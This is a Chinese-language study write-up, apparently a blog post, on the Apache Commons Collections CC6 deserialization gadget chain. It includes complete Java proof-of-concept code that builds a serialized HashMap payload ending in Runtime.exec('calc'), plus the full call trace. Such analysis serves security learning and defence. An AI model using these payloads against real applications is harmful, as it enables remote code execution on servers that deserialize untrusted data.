# CC6
CC6 不受 jdk 版本限制,算是一条最常用的 CC 链
这是 Ysoserial 上的 CC6,可以看到后半部分没变,从 LazyMap.get 开始通过 TiedMapEntry.getValue 来调用了,我们追踪一下
TiedMapEntry.getValue 调用了 map.get
看构造函数,map,key 我们都能控制
找 getValue 方法在哪调用,TiedMapEntry 自身的 hashCode 方法调用了,我们研究 URLDNS 的时候就是用到这里,那么显而易见,我们前面的就是 HashMap 了
构造 exp,注意这里跟 URLDNS 有相同的问题,hashMap.put 的时候就触发了 hash 方法也同时调用了 hashCode,所以直接就执行命令了,还是同样的手法将某些值改一下就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package com.f12;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void serialize(Object obj) throws IOException { FileOutputStream fos = new FileOutputStream("cc6.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); } public static void deserialize(String filename) throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(filename); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); }
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, null); Field factory = LazyMap.class.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap, chainedTransformer); serialize(hashMap); deserialize("cc6.bin"); } }
|
但是这里奇怪的是还是没法弹计算器,我们调试一下看看,发现是 LazyMap.get 这里的问题,这里有一个 if 判断,我们这个 map 没有给值,在 hashMap.put 触发后给 put 进去一个 null 的键,第二次触发的之前我们把这个键删掉就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package com.f12;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void serialize(Object obj) throws IOException { FileOutputStream fos = new FileOutputStream("cc6.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); } public static void deserialize(String filename) throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(filename); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); }
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, null); map.remove(null); Field factory = LazyMap.class.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap, chainedTransformer); serialize(hashMap); deserialize("cc6.bin"); } }
|
TiedMapEntry
的使用:
1
| TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
|
TiedMapEntry
是一个特殊的 Map 条目,它持有对 Map
的引用,并与该 Map
的一个键相绑定。
修改 LazyMap
的工厂:
1 2 3
| Field factory = LazyMap.class.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap, chainedTransformer);
|
通过反射,获取 LazyMap
内部的 factory
字段,并将其设置为我们构造的 chainedTransformer
,以便在访问 LazyMap
时触发恶意代码执行。
调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashMap.readObject() java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
|